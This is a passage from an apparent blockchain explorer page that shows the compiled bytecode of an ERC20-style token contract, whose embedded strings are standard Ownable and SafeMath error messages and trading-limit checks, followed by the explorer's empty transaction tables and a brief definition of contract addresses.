185611fe9565b935061203b818560208601611ff9565b61204481612007565b840191505092915050565b5f6020820190508181035f8301526120678184612017565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61209c82612073565b9050919050565b6120ac81612092565b81146120b6575f80fd5b50565b5f813590506120c7816120a3565b92915050565b6120d681611fae565b81146120e0575f80fd5b50565b5f813590506120f1816120cd565b92915050565b5f806040838503121561210d5761210c61206f565b5b5f61211a858286016120b9565b925050602061212b858286016120e3565b9150509250929050565b5f8115159050919050565b61214981612135565b82525050565b5f6020820190506121625f830184612140565b92915050565b5f805f6060848603121561217f5761217e61206f565b5b5f61218c868287016120b9565b935050602061219d868287016120b9565b92505060406121ae868287016120e3565b9150509250925092565b5f60ff82169050919050565b6121cd816121b8565b82525050565b5f6020820190506121e65f8301846121c4565b92915050565b5f602082840312156122015761220061206f565b5b5f61220e848285016120b9565b91505092915050565b61222081612092565b82525050565b5f6020820190506122395f830184612217565b92915050565b5f80604083850312156122555761225461206f565b5b5f612262858286016120b9565b9250506020612273858286016120b9565b9150509250929050565b5f61228782612073565b9050919050565b6122978161227d565b82525050565b5f6020820190506122b05f83018461228e565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561233857808604811115612314576123136122b6565b5b60018516156123235780820291505b8081029050612331856122e3565b94506122f8565b94509492505050565b5f82612350576001905061240b565b8161235d575f905061240b565b8160018114612373576002811461237d576123ac565b600191505061240b565b60ff84111561238f5761238e6122b6565b5b8360020a9150848211156123a6576123a56122b6565b5b5061240b565b5060208310610133831016604e8410600b84101617156123e15782820a9050838111156123dc576123db6122b6565b5b61240b565b6123ee84848460016122ef565b92509050818404811115612405576124046122b6565b5b81810290505b9392505050565b5f61241c82611fae565b9150612427836121b8565b92506124547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612341565b905092915050565b5f61246682611fae565b915061247183611fae565b925082820261247f81611fae565b91508282048414831517612496576124956122b6565b5b5092915050565b5f815190506124ab816120a3565b92915050565b5f602082840312156124c6576124c561206f565b5b5f6124d38482850161249d565b91505092915050565b5f6040820190506124ef5f830185612217565b6124fc6020830184612217565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61253a82611fae565b915061254583611fae565b92508261255557612554612503565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f61258c61258761258284612560565b612569565b611fae565b9050919050565b61259c81612572565b82525050565b5f60c0820190506125b55f830189612217565b6125c26020830188611fb7565b6125cf6040830187612593565b6125dc6060830186612593565b6125e96080830185612217565b6125f660a0830184611fb7565b979650505050505050565b5f8151905061260f816120cd565b92915050565b5f805f6060848603121561262c5761262b61206f565b5b5f61263986828701612601565b935050602061264a86828701612601565b925050604061265b86828701612601565b9150509250925092565b5f6040820190506126785f830185612217565b6126856020830184611fb7565b9392505050565b61269581612135565b811461269f575f80fd5b50565b5f815190506126b08161268c565b92915050565b5f602082840312156126cb576126ca61206f565b5b5f6126d8848285016126a2565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61273b602683611fe9565b9150612746826126e1565b604082019050919050565b5f6020820190508181035f8301526127688161272f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6127c9602483611fe9565b91506127d48261276f565b604082019050919050565b5f6020820190508181035f8301526127f6816127bd565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612857602283611fe9565b9150612862826127fd565b604082019050919050565b5f6020820190508181035f8301526128848161284b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6128bf602083611fe9565b91506128ca8261288b565b602082019050919050565b5f6020820190508181035f8301526128ec816128b3565b9050919050565b7f6e6f7420737461727465642079657400000000000000000000000000000000005f82015250565b5f612927600f83611fe9565b9150612932826128f3565b602082019050919050565b5f6020820190508181035f8301526129548161291b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6129b5602583611fe9565b91506129c08261295b565b604082019050919050565b5f6020820190508181035f8301526129e2816129a9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612a43602383611fe9565b9150612a4e826129e9565b604082019050919050565b5f6020820190508181035f830152612a7081612a37565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612ad1602983611fe9565b9150612adc82612a77565b604082019050919050565b5f6020820190508181035f830152612afe81612ac5565b9050919050565b5f612b0f82611fae565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612b4157612b406122b6565b5b600182019050919050565b5f612b5682611fae565b9150612b6183611fae565b9250828201905080821115612b7957612b786122b6565b5b92915050565b7f4578636565647320746865205f6d6178416d6f756e7453697a652e00000000005f82015250565b5f612bb3601b83611fe9565b9150612bbe82612b7f565b602082019050919050565b5f6020820190508181035f830152612be081612ba7565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612c41602883611fe9565b9150612c4c82612be7565b604082019050919050565b5f6020820190508181035f830152612c6e81612c35565b9050919050565b5f612c7f82611fae565b9150612c8a83611fae565b9250828203905081811115612ca257612ca16122b6565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d02602183611fe9565b9150612d0d82612ca8565b604082019050919050565b5f6020820190508181035f830152612d2f81612cf6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612dc281612092565b82525050565b5f612dd38383612db9565b60208301905092915050565b5f602082019050919050565b5f612df582612d90565b612dff8185612d9a565b9350612e0a83612daa565b805f5b83811015612e3a578151612e218882612dc8565b9750612e2c83612ddf565b925050600181019050612e0d565b5085935050505092915050565b5f60a082019050612e5a5f830188611fb7565b612e676020830187612593565b8181036040830152612e798186612deb565b9050612e886060830185612217565b612e956080830184611fb7565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ed3601b83611fe9565b9150612ede82612e9f565b602082019050919050565b5f6020820190508181035f830152612f0081612ec7565b905091905056fea2646970667358221220ffc84f82449757c0b788bb96b068e2a8efe446b64e393fd1a42cf47839e440a264736f6c634300081a0033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.